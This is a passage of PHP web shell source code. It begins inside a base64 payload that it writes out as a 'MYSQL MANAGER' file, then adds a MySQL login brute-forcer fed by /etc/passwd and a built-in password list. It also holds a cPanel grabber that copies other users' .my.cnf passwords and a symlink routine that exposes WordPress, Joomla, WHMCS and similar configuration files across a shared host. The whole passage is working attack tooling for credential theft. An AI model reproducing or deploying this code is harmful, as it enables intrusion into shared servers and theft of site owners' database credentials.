9VRW9JdEtDQlFZOW1RTmhQTUJ6UGZDODBLREpLdjZ5YlUwSDlrRlZReWw0OW54V2RNcGVaZGVUWUo0T0FYV1hBVEVLcVhHZGwvc0pkZ0w3blueaZkJQUEZuOTBlODQ4OFFyMjN1QU5jS2RzOHlKSWMvbDJTTm9Mem95T3d4bTIzY0tJeEwzNXRPeVFuTWU0QWlBOXVUS2hCWUFKc1lxMnhlTEJXMXdnNTJhLytYMjgwdGx3UkhOWnljYnA5K2tENTY0c0NRNVl0TUVFbDBvM3VwTjhTVGJuVmNVdWFKbHN0U1JlbDl5V052b2JRU2E1STB1KzJISERrdnI5Rm1tbVNsVEoxalNGckFPU1M0MndHTmNiUU1kY0JkRmlMTGg3VTFxNnRzT2xKQ0xnTzdCeFplblczTkRoMmwrT1hkbzNuSDd2RUFKK2VEdldGM09IMjBrL1J2WU9ITmduTWd6cUVHV21tVmtkRjBKVUhycGxHb1ZGaTZwRENLcmxGMmptZkIrTExyNkFzVUpFR3BJVnFMelRpUmNKZklaK0l3RjcxSVppQUxaVzloYmFRK1hmNHZsTEVLblNzakVTWVB2NHdWTWVudGh1ZWdWeFR4UjdPWmw5MnRiMWM2ck5UYXNjUGdUQ1R0djVONW1CdHRheDcwTXRIeVpueDVJdkRTR3VpWm9NVHJtWHRBTng2eDdTVmpmYy9ERklNbGUySms4aDkyYW1Uait4NG5SM2w4dWRPakU1WDhOcXhseDBobExyeU1aQ3gzTHBaSndqc2hyZVgwQlVocmNXVWhWeTB3VTVXWDJwZGFvaFplRnU2MjZKek1MQ05saFdld3JuQ0Rua2FwTjVOaDRtM3RwY1A5NFk2VzBjWlVYcTczaDJLeDhRZTREYzBkOFVvOGhXMS9rNXdHZDdwZ1NjRldYZXc3RG5mUzZXZDlEVmhnSTM4SnlKOUxNRXVhOXgwVDhtOWRJV2oxSFhYOVFLMTZ1azBnVGdBYVJScmQwYzc0TXZvT3BjekZCQXdVdDFBNkRSbVozaWgvSDhJeDcwTVk0dWdMZ2hUeUVWTFBtOXlJSE4xUmFpcXdHOFc2a2hGZGhiRm5YM2JadmFiYlFXelFZK2dWaldRLzYxeHh5bUpjNnBuN0VvV0lGeHdYNldxaDZ0UFlzaSsxcm1ZcGpxOExzZk0vL0NDaitFcXVlb0VhR0UxdStJWWRYL3EyNDZoMDhCb29vd21IZ3RIZE5YZHJFbnhTM3JpUzY3dnl3blB1WnFvNkJteXBxNmQ4MzVOdVo5Sm0wZWE5b25ndDFTSHpnZSt1UTBNNnVoa2IwQTVsV3Bpb3QzRVVYUVkraGJUWEJic0E0ZmNzbUpJS2l1NE9rSm5CTlRwWXFFL25zMmdFeTdSQ0dnNjZRZFNUQm5YOU1rdUhJLzA1Um9ocnY1SVZ6bHltQjluMG1JdnIxdlF0QUVtVGY3K1N2OXU1aXBqSmlpZnNzL0tTbWZVaURQMGVIaDBlbjZJVzJoVlBuejZ4d21kQTJwZDNWM2RpamFqVzg2MzFVRkxuY3lmUjNBTWxEL05sV3dweGpPeENrbTRqUDVhZW8vRXlMdmlRK1BFU3kvMUVSaXZHWDZHZDBOUFZHVkFGVVpHSkVFMm45RFNQZUtiaXE4aVhPUGFER2RmZU1MV3RtQzVDaXNDTWt0NlpZQzlhSmNYM0hMZ3c5OXdEQTZrZWlIVWhxWnRhcW1oTlZMSWdHQ2tteVJPYUxUbWhDdlZhV0FkQk90bG1RYzBxQXN2U0dtQmdFbzhmaTlLQ3hNWnZZaW5Wa1JuVktXV0MzVC9tSjFvK1VaRTFYOXNrUlllUlN5cllkVnRPWmFaRHRjaHphSHVMenN3Wmkrd0podnAvUmJBTS9teWhrdk11aUJQV3cxeTVQZzFwSlBqMTZOMkczWWtXYkxOSTd5ajJQOW5rdEZzTitVT3pRTUQzVnBjR1FGVFUxVzZMT2VpaUNYQ3hhK3dnUElLR3l4aS91ckdJQWh0NHhwOERibVFuUHpRTmUyelVLSDhuTHExcExoMkEzS2VnTUQwbWVHUE1vaWErdnArRWc4bnNlNGxOSnU4U3R4TFl3VVh2Q0t1U3JxWkxaRkFqSVdCbXlZdnhCaVFuSldjUjZKK1lYNldSZlhYWFd5ZXNkc2gzUlhETC9LY2ZUN3pRNjd6WmZ2djdyOGVISHc1MjJ1TG5kL1JQUjc5NThoSjJ6dkozUmZCcGtlekxCSm5EVnJMenRTT0FicTluYnE0WG1nSHpHVFFpdkU3ZkZzcTlhbHZ1QzFtcURIYVRKZ1hMMmVSYjgyVTNwQmtCNlVIYTNpUFdGV3JrNG43Mk5SQWZQMm1sUlQxb3M3SGhoeE43R0RMNmpIL3RqNWNwM29tYytqcDZ3R3hRd2hTQU5GUzE5TE9GV050bFQ5UnIvQ2JvT3FKUVIraUE2bitnVTFVNkIxRUZXa1lYRUNZWC9tdzJ0TkJLSEs5TkFiZm9iaXczU2VyUFZjTXlMMCsrNWpLTlJPRUhJSG82a2QvdlljOGhaZ0x2cEMvM2JwSTQxT2xGdkN3bnFrcS9sZXpySUJsQ3pXZ1pqL0dhS21KWThFMWQ1THNUTzdWYVlSRFpuL2pvOWRTUGNITzJBQnA0MFRmR1FQZkt0TjVxYnFvenpkY0xkUS9XYU5acW1jZXNORmd6Q1BDajQzMFJLK1VsdmFDSFBYbGVPVlNNZWlicDdCSU4zeXhHU1U2LzIxaXVyNlZwekdOc0w5OHRReW5CZm55OG5kdFY5NU81RkM4b005ZW5zRXdTaEtpL3pnVjJFQUxpYnZhUzcyMmU2TVFmTGM4NUd0eFdpUFZicFBkK3ZUUkZnMWNDZ3A0Mjh1TWhMbEF2QmFXaTdERlQzUG8xbFZvZGpFbXQzQi9GRVY2SjgzV0FpMElOMjJBQ0hRd24xYVRtbXFmdFRHZnVkWFd2aTFlWjFTdFYrTTB4ODExKzNrRmZqZ0hsT2J3MFowVXlOcitxdzkzYkZKZUpOWXV4K1RVNyt1Y3R5Tmd3b2tmUUVBTmVqK1o0ZTQ3Rk43NTQ4MkFmamp1UjUvY25yR3REQXFiMmloaGZzblRDeXd4dGZVMWJSWXZUZlcwNnlTNmpteU85NHRxQWl1VlhyQXBDNmFxM1RyNzFhd1Q2R0JndklhcmJoK3JXb1Z5L0ZISjBTaStId2ZZRWRCSVdFaUdiMUYxenZ5RUx3a2QyeWNyeThTekExOGxHUWVqRk54MUhNYWl3eWpHM1pEcXBoMVVmVitpM2RmZGVIVTF3dnYzQ3E1Q1o3S2ZseThyeWVCK3p6eXFYQS92SjFrODFXNDBYRWp2d0VkOFp0dEZMckhUeUhpejBtUjFEWkZVVHlpdnBqbjFRSnlVd28xYXY4NVhGS1NuQVRnYk9QdjZYUi80Yys0TTh2a2NWZ2VmMURydWwrT2M5Sy9iVGZNVTdrQ2lHeUt5Q3dFVkhseTMwUnVkalcyWkRjbTN0YjV2ZGJwT3VIT09UUDZRSjRpdGtaZElIMXNrUmlQZHFoUlZXZWt4Q1ZNTG9pcDVOMERFdE1vUENRQm95OUVQbkNhdXkxTTVOMllxbm5qV0p6bXJvalkweWFJcFdrU0VxTXJzdTFzR1N4VmVrTm9wdGs1LzRrblIyeXNtQ2NxWjhXREJiYkU3UVJrZ25nWHBUS1hhRnpoVGwrUmpEYXg4dyt4RTJDWmM4TFdPSU15eGFidzNxbWZTbWVpYTFzbHpJemdSem02NUVMM3Rtb0ZZeGtRSHNTY1k1NVJ6QTU1NHFuN3pZT0VkMDBJajlnTFVHVWIxVVVGM1J0Ri9sY2c4aU54c3Rhd0JiR2NBLy9DUjdpOXpTYTZDQ3BSQmtHd3pmb0RFc3d3UFZZTFVvcGg0aWVnU0U4aXFoQnFmRmdvUnhyY2lXTWdXTEJzWmVxWWdtME5qSnZ3ZHBzTGRHY2M4MUdtT0Z0aXJMZy9SSXFaSzhONUZEbEZIWjdXeDJMSkZheldpUnFKUGJvSzB5L214bXBuZXpJRGsrbXRaTG1HSjdDcFhJZ1h1RGFwMDg1STU5WDI1aFZGQ29ZQjBQMDhtdzNHNHBnZTZMNW9zbkw1NjJYbTdLTngza29USTVaQ1hRaGdVa2ZvRUV6Q1BNYTRvR1dObS9qdXhwWk9GOSt2TFppK2QzSWlXSUlzYjNxekIrb1kxbHJmdDlsSHUvVngzNzAyK0VlSE9UeXZsdEpqWVdLa2FTUTE4Yy9YYjBuOEZDUHFCWHdkTk1EcUZSWE9aeVVLS0N1UGFERk5LdkN3YlArWi9qYUw2STZhVUdBa08vQmxUaEpUeSttdWhRY0tNZElNYWFvUGR2OE9veGhTd0VNU3BjMENYMTRDeVdkT2tzVmF6M3hLOSsrZzR5OXlHVDYzYzJOdGJXMThUNitzK1BmMjYxbWkwNytFY2pKbDJqMjBOTlEyZWVEYnBLdEgrcXEvZGdFZU5heTRyeHF6N3k1NHRVdGZYeDQrcWpYUE1oSy9NNk0yWFdRTStDRDlsQzdvL0tZcllvWnNqcHF4cFY2elZybjFmMVFEK3ZiZFFzZXByWkZGQnMxcFFmTXdTRFNKZ2lrTXV4bTFNYzJOaERvRW1kRHBod2J0allPdW9KSklLNWMvd0tiNUpuM2dKWG8rZE5KdStveGJJUmRaR0J1eldSM09zOW1JZ1VHaUtyVWs4UnFNREcyNnlva3R4ZUtab0tNd2lmZzBxOU5CaURabWk2cUlmUHVwbUVHeDd5TlZ1bUxrelFFUjBzWFI4UGN4RGdvcVlsRXBZOTZvSTZRd2FMU2pWY0hyQXVJaE80dHphNHNDTWZ2ZU5Xb0kwdW1aSnBQSm5qRlE4bWNtV3F1VWZqcGVnWEZIblAzbXhvdmVPNUtkaU1ndjZ4NDQ2b2RBenJBaHRSWG9xdldtdUlybkQ2MTgrYS9ldW5vLzUxOHhuOC94eitiOXIvTzZwaU5Kc01wVnRieU5nbmE0U1dZWEM5dVJNbHAyZzhWekFsemVhbWRQRkRTbW43ZGprQnZFSnhnNmZqb0xxMjliZUdNdGZTRkpJejl3WSszQUVlVWZ6OVpaNkVMcVdHSWtBbld6ekhRM0xKbmxhK2JPTGQ2S3E1c2d2WWJoTXFWTEZmVnIwZ1hLTGtIcFNVc1gxdnltN0Z4b1pBajE0d05WcElXZmZXWmZlMnRzVG1zNXI0SzhzRDdnYVd0WXBsM0Ewb2JNR205OWRQUDFiTE9vTEZKWFYxVjZDOFNOYjBwdGNUcmVJT3J3VUdUbE5VZjltTXo4NEhLWHRXYXY5S0NrMWt0UW1vVS81MVZTNnA3R3lqT2NKMzlQMXJxdkFEL3RHV2F4YzJWRVp3OW54Z3ZsOE1mdnF4a1N0L2FwVS9LeW5mdE1xZmxKUTNyZklXUFVXT3J6UzR1a0c0MGdoY1p3QUdweU9EbWVNZnNndnhDZnovMUpGRkRTcHJQVldMMGVTWkJXcmx2Y3psYVlwOFdSb0dhY2d4eW5yN2hGSGlUU2JHUHo0RFA1OXNXcmwveWtmOWpLNWdWOG5oK3JOUVRXN1hhdGYraytkRXM1NnJBalA5YWEwT3RnODNITjJhQzI5OFdYWC9pYk1CMnJTaUFPbVhGOG1PRmdvL3VZYTIzakVMRUUwcnQ2TGViWkZKYXZIL1JUdXRUVmRLZUk2MG5NWmtPZnBYUTMyUUxIdWc3VDI2QWt4TFE5YXNxZmRGSnJFL3pzbjVGdnkvU1ZPRVN3dXp5YzYySnQ0OW9LM3BwN1B0R1doeVM5aFdXcVk1VjFacUQzS3V2RERPWWhWVTgvK2hCRnY3WkhObGtSNTNhNVBOS0dGV1BrNUlQUld5akZZVFZkVlMrenhQSTRJckduQ2tvK2s0Wk43NEN2UEttcFBjQjhETUNrUXBxQ0pzK3hMNFQ3NElYYlZod0RNNlNjTWVRRkJ1OGNTamdMZDJiN0FmREpmVmRKQXRzSkRZcFNTUHNDZ3p5MHRjQ3RuM1NPa1h2VVhhVmZvSUJiY3U2Y1pCK2Q5WWtUSFUvUHlzQlk5cktmUFhWbVFrZVZWQ1RqRUNnQzZYZEZ2Nk5reGlSYlRMUDVKaTNYUjE3R3ZDQkY4ZWw4Nm9hdGJMdG9aWXZsdll6THA2c3RmNmd5TzZjVTExelROVEJXWVlrem1qeTVBRGxjS3JsUU5IdmZva1RUZ3VjdVFWYlVmOUVhRWN4cDNkZDlzZjlrK0ZLK0VsK01CMXJDdG5YQ1N2anFNMzBQa0QzK1FwdzZmK2drMUpkWGtGbk9xWFY1YVFCRGd3Y3djOUpaSzdNdnpLSHJIZmQvOVlQVjRjcWxVeVdvaEVjdVNTVG9Fd2g2NjlEL2tQcWlqTitWSzlvKzhjSGUrOTN6Nyt3eUdqaHFBUG9uQUlDdFhIcGM4UldVMGJvZlBoWU84ZkgzYi80cVRtaDIxU0IvaFd6eGtEcVBISjVHV01rTnQ4S1FzbmFzbmJhTGFjaDZicGttdlVTOXJPK0J4MFJwYlVwWG9taWlvbE5icWRLWjlYQmZTMU8yWXIxc0hhU1ZkSkw0V2w3dFFkOHl5N1pGdlhZbHZwaUFzaGkzRVlSVldqcjJXWGh1Mlo1dFkzNjgvcDZxVGtzbU56UGd2NW9yWnFMU0ZKMmRBOFpmV1VaclpPSC9iTGZzaWNzQitFbmw3RlFVcUhxblZUSTNzUmxuMmF1bEQvbVRoNUUyWEZMWHRIZWI2MW5DcTVzZ2NZN3ZlU0FRS1dDTmppUzhEeTdkK3F3NW9RVVNMWGpSOTMxMXNsY2xUU1hsdkx3RzZabHQ5SEtqYTZlSmp6SlpFbzBjZ24wdkJtZUlabXVaalRFc2xnemdLNGpyclZtNHk5aGErUDNFcnd5d3R4dDJXVHF0YjVmcE5ETG1FMXZDdFE0bkZiQ1RKSFA4eWUxVm1XVUFzZk56YWU2aVh1M1J3bGdBVUZMV2VoSzBpM2ZCbzNIT3ZaZHcyWWp1alZRQk9IZi8rL0hQRjB4WFdsMnd4NmpteituTGwxN2hZYnJPT3EyWHptT05pdTY5Ymt0WEdPSnFMWDdpdnkrZno4VS9neXVydVNmMitmUGlpVzJ5bW55eSt6VnJ6NDNFanVHaC9YbnAveEs2OGtzKzFrRHhUZlY4S1JRZWhVaE4rRHZ1UGdoWGFaRHd5RWpJNUM1Y3U5Vk9GUzZWZTVkRnY5QVF2S3BXZGdCN1IvMldrdytURkF4TlhZK1NrN2cxMmxYMlhUZER5REx6d29NbHpLYjh1YTJpcjlLcGR1NHhNTHdDOGRhMFdsNnIyNmdYWFBuMHFJNkNBWG5FOGxsQmhZNDRhWnRFT3FQMnVReWRIRGlabVVHSmc1d0tSUW40SThNeGo4U1Z3ZFVDaS9mRHZBZnFIQitiZHJwbE1hNDJNOVhWaWNxV1lnOU1PRDh2RVNsY2Jwb3I3cFZsWU91dUU2S3BMMElaTkp6YUhTbVpCNWo5RG1zOWhTZjFJd2QwdWt5TTh5cnV0TzlaeWl2NS83eFM4MERvcFJIVmFoZGVrNjk0ZDdlYUdyWngwSFhWSXo5Y3ptK21ha29ReXZvMGh3aVd4cmc4RktKbHc1Z3ZKNjZqKzZSOElrVEtkTEdhN2VUYk9sc0g0Y05qZHorSS9zRUJhT0w3WEZqTTZCbWJQUWYyMkhpdVM5VWd0WTUrRFJuaitiR3FGRWZ5ekNua2dxQTZTbi9Fc1NhbUZRU2twUVd3Q3lmbXlJeVRTMEN6dldjdVU5RzRxVHZkOHFsZkd6TXBkVG1DK2piR1UrcC9SYWxlM0w4MSt1QkR0Z1N5MHZMWEZMSG9VcVc5OG96MHRXdDJRRDN1S3kyU0RUZU9taWFaZ1YwMjAvQXlYVFhiSDU3SnQzaXFKY3p6MEcxS2ZYZ082OWtMRUhXczdDTitaaGUxVWVmbXYyczN6c1dZSTE4eXpRb214M1YzZXhNSlpOdjhqUExOVi9Qa0RseTFmV3pTdVJoVWQ1MkVDRXdlV1FkZGxMbmU2dmVPWHdoSlBtU2NQY0M0VGxUVFk2MHlySUJYVEtzMjkxTFdLZndpNFdvQVduUXlxMTdscXBVa0x5dnk1QjhBdz0iKSkpOyA/Pg==";
2096$write = fwrite($f2, base64_decode($sml_db));
2097if ($write) {
2098@chmod('s/db.php', 0755);
2099}
2100echo "</br></br><center><b>GO TO : <a href='s/db.php' target='_blank'>[+] MYSQL MANAGER [+]</a></center></br>";
2101}
2102}
2103?>
2104<?php
2105if (isset($_GET['jak']) && ($_GET['jak'] == 'brute')) { ?>
2106<form action="?jak=brute" method="post">
2107<?php ?>
2108<html>
2109<head>
2110<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2111<body text="#4C83AF" bgcolor="#111111" font="Verdana, Arial, Helvetica, sans-serif">
2112<center>
2113<form method="POST">
2114<strong>
2115<input name="page" type="hidden" value="find">
2116</strong>
2117 <div style="width:90%">
2118
2119<div id="result">
2120<br /><br />
2121</div>
2122 <div id="mp" style="width:49%;float:left">
2123 <b>~ UserName ~</b>
2124 </div>
2125 <div id="mp" style="width:49%;float:left">
2126
2127 <b>~ PassWord ~</b>
2128 </div>
2129 <div id="mp" style="clear:both;width:49%;float:left">
2130 <textarea rows="10" class="coode" style="width:100%" name="usernames"><? if($_POST['page']=='find' && $_POST['usernames']<=''){$lines=@file("/etc/passwd");foreach($lines as $nr=>$val){$str=explode(":",$val);echo $str[0]."
2131";}}else{echo $_POST['usernames'];} ?></textarea>
2132 </div>
2133 <div id="s" style="width:2%;float:left">
2134
2135 </div>
2136 <div id="s" style="width:49%;float:left">
2137 <textarea rows="10" class="coode" style="width:100%" name="passwords"><? if($_POST['page']=='find' && $_POST['passwords']<=''){echo "123
21381234
213912345
2140123456
21411234567
214212345678
2143123456789
21441234567890
2145Password
2146pass
2147admin
2148admin123
2149admin1234
2150admin12345
2151admin123456
2152admin1234567
2153admin12345678
2154admin123456789
2155admin1234567890
2156administrator123
2157administrator1234
2158administrator12345
2159administrator123456
2160administrator1234567
2161administrator12345678
2162administrator123456789
2163administrator1234567890
2164password123
2165password1234
2166password12345
2167password123456
2168password1234567
2169password12345678
2170password123456789
2171password1234567890
2172123456
2173123123
21741234
217512345
217612369874
2177123456789
2178112233
217912345678
2180123654
2181123654789
21821234admin
2183password
2184passwd1
2185password123
2186test123
2187159357
2188147258
2189159951
2190123321
2191ADMIN
2192195159
2193147852
2194Admin
2195Administrator
2196Demo
2197User
2198user
2199useruser
2200987456321
2201741852
2202321987
2203357159
22041234566
22051234567899
2206111222
2207Administrateur
2208administrateur
22090123456
22100123456789
22110147258
2212147258
2213987654
2214963852
2215369258
2216456789
2217456321
2218456123
2219ADMIN1234
2220Admin1234
2221admin123456
2222admin1234
2223admin01234
2224000000
2225142536
2226632541
2227"; }else{echo $_POST['passwords'];} ?></textarea>
2228
2229 </div>
2230 </div>
2231 <div style="width:90%;clear:both">
2232 <br><p><input type="submit" name="submit" class="inputzbut" value="Go !" style="width:120px;height:30px;" /></p>
2233 </div>
2234 <br /><br /><br />
2235
2236</form>
2237
2238
2239<?
2240if($_POST['page']=='find')
2241{
2242echo"<div id='result'>";
2243if(isset($_POST['usernames']) && isset($_POST['passwords']))
2244{
2245
2246 $a1 = explode("
2247",$_POST['usernames']);
2248 $a2 = explode("
2249",$_POST['passwords']);
2250 $id2 = count($a2);
2251 $ok = 0;
2252 foreach($a1 as $user )
2253 {
2254 if($user !== '')
2255 {
2256 $user=trim($user);
2257 for($i=0;$i<=$id2;$i++)
2258 {
2259 $pass = trim($a2[$i]);
2260 if(@mysql_connect('localhost',$user,$pass))
2261 {
2262 if($pass !== ''){
2263 echo "<b>[ IDBTE4M ]=> </b> <b>User[<font color='green'> $user </font>] Pass[<font color='green'> $pass </font>]</b><br>";
2264 $ok++;
2265 }}
2266 }
2267 }
2268 }
2269 echo "<hr><b>You Found <font color=green>$ok</font>BY IDBTE4M</b>";
2270 exit;
2271}
2272echo'</div>';
2273}
2274}
2275?>
2276
2277<?php
2278if (isset($_GET['jak']) && ($_GET['jak'] == 'cp')) {
2279?>
2280<form action="?&jak=cp" method="post">
2281<?php
2282/**
2283 * @author: FaisaL Ahmed aka blue X
2284 * @mail: me@faialahmed.me
2285 * @Screenshot: http://prntscr.com/7c1p34
2286 * @Last Updated: 01 June 2015
2287*/
2288
2289@ini_set('display_errors',0);
2290function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
2291 $ar0=explode($marqueurDebutLien, $text);
2292 $ar1=explode($marqueurFinLien, $ar0[$i]);
2293 return trim($ar1[0]);
2294}
2295echo "<center>";
2296$d0mains = @file('/etc/named.conf');
2297$domains = scandir("/var/named");
2298
2299if ($domains or $d0mains)
2300{
2301 $domains = scandir("/var/named");
2302 if($domains) {
2303echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
2304$count=1;
2305$dc = 0;
2306$list = scandir("/var/named");
2307foreach($list as $domain){
2308if(strpos($domain,".db")){
2309$domain = str_replace('.db','',$domain);
2310$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2311$dirz = '/home/'.$owner['name'].'/.my.cnf';
2312$path = getcwd();
2313
2314if (is_readable($dirz)) {
2315copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
2316$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
2317$password=entre2v2($p,'password="','"');
2318echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
2319$dc++;
2320}
2321
2322}
2323}
2324echo '</table>';
2325$total = $dc;
2326echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
2327echo '</center>';
2328}else{
2329$d0mains = @file('/etc/named.conf');
2330 if($d0mains) {
2331echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
2332$count=1;
2333$dc = 0;
2334$mck = array();
2335foreach($d0mains as $d0main){
2336 if(@eregi('zone',$d0main)){
2337 preg_match_all('#zone "(.*)"#',$d0main,$domain);
2338 flush();
2339 if(strlen(trim($domain[1][0])) >2){
2340 $mck[] = $domain[1][0];
2341 }
2342 }
2343}
2344$mck = array_unique($mck);
2345$usr = array();
2346$dmn = array();
2347foreach($mck as $o) {
2348 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
2349 $usr[] = $infos['name'];
2350 $dmn[] = $o;
2351}
2352array_multisort($usr,$dmn);
2353$dt = file('/etc/passwd');
2354$passwd = array();
2355foreach($dt as $d) {
2356 $r = explode(':',$d);
2357 if(strpos($r[5],'home')) {
2358 $passwd[$r[0]] = $r[5];
2359 }
2360}
2361$l=0;
2362$j=1;
2363foreach($usr as $r) {
2364$dirz = '/home/'.$r.'/.my.cnf';
2365$path = getcwd();
2366if (is_readable($dirz)) {
2367copy($dirz, ''.$path.'/'.$r.'.txt');
2368$p=file_get_contents(''.$path.'/'.$r.'.txt');
2369$password=entre2v2($p,'password="','"');
2370echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
2371$dc++;
2372 flush();
2373 $l=$l?0:1;
2374 $j++;
2375 }
2376 }
2377 }
2378echo '</table>';
2379$total = $dc;
2380echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
2381echo '</center>';
2382
2383}
2384}else{
2385echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
2386}
2387
2388echo "</body></html>";
2389}
2390?>
2391<?php
2392if (isset($_GET['jak']) && ($_GET['jak'] == 'sym')) {
2393?>
2394<form action="?path=<?php echo $path; ?>&jak=sym" method="post">
2395 <center><h2>Domain Viewer</h2></center><br><br>
2396 <?php
2397 function openBaseDir()
2398{
2399$openBaseDir = ini_get("open_basedir");
2400if (!$openBaseDir)
2401 {
2402 $openBaseDir = '<font color="green">OFF</font>';
2403 }
2404 else
2405 {
2406 $openBaseDir = '<font color="red">ON</font>';
2407 }
2408 return $openBaseDir;
2409}
2410
2411
2412echo '
2413 <table width="95%" cellspacing="0" cellpadding="0" class="td1" >
2414 <td height="100" align="left" class="td1">';
2415 $pg = basename(__FILE__);
2416 $safe_mode = @ini_get('safe_mode');
2417 $dir = @getcwd();
2418 ////////////////////////////////////////////////////
2419 // LET'S PLAY ~
2420 ##.htaccess
2421@mkdir('jaks',0777);
2422@symlink("/","jaks/!");
2423$htaccss = "Options Indexes FollowSymLinks\nDirectoryIndex amis.txt\nAddType txt .php\nAddHandler txt .php";
2424
2425file_put_contents("jaks/.htaccess",$htaccss);
2426$etc = file_get_contents("/etc/passwd");
2427$etcz = explode("\n",$etc);
2428
2429
2430##Symlink to the ROOT :p
2431foreach($etcz as $etz){
2432$etcc = explode(":",$etz);
2433error_reporting(0);
2434
2435$current_dir = posix_getcwd();
2436$dir = explode("/",$current_dir);
2437
2438symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2439symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2440symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2441symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"pee/".$etcc[0].'-WordPress.txt');
2442symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"pee/".$etcc[0].'-PhpBB.txt');
2443symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"pee/".$etcc[0].'-vBulletin.txt');
2444symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2445symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2446symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2447symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"pee/".$etcc[0].'-Joomla.txt');
2448symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"pee/".$etcc[0].'-IPB.txt');
2449symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"pee/".$etcc[0].'-MyBB.txt');
2450symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"pee/".$etcc[0].'-SMF.txt');
2451symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"pee/".$etcc[0].'-Drupal.txt');
2452symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"pee/".$etcc[0].'-e107.txt');
2453symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"pee/".$etcc[0].'-Seditio.txt');
2454symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"pee/".$etcc[0].'-osCommerce.txt');
2455symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2456symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2457symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2458symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2459symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2460symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2461symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2462symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2463symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2464symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2465symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2466symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2467symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"pee/".$etcc[0].'-WHMCS.txt');
2468}
2469#############################
2470 if(is_readable("/var/named")){
2471 echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
2472 echo'<tr><td><center><b>SITE</b></center></td><td>
2473 <center><b>USER</b></center></td>
2474 <td></center><b>SYMLINK</b></center></td>';
2475 $list = scandir("/var/named");
2476 foreach($list as $domain){
2477 if(strpos($domain,".db")){
2478 $i += 1;
2479 $domain = str_replace('.db','',$domain);
2480 $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
2481
2482 echo "<tr><td class='td1'><a href='http://".$domain." '>".$domain."</a></td>
2483 <td class='td1'><center><font color='red'>".$owner['name']."</font></center></td>
2484 <td class='td1'><center><a href='jaks/!".$owner['dir']."/".$dir[3]."' target='_blank'>DIR</a></center></td>";
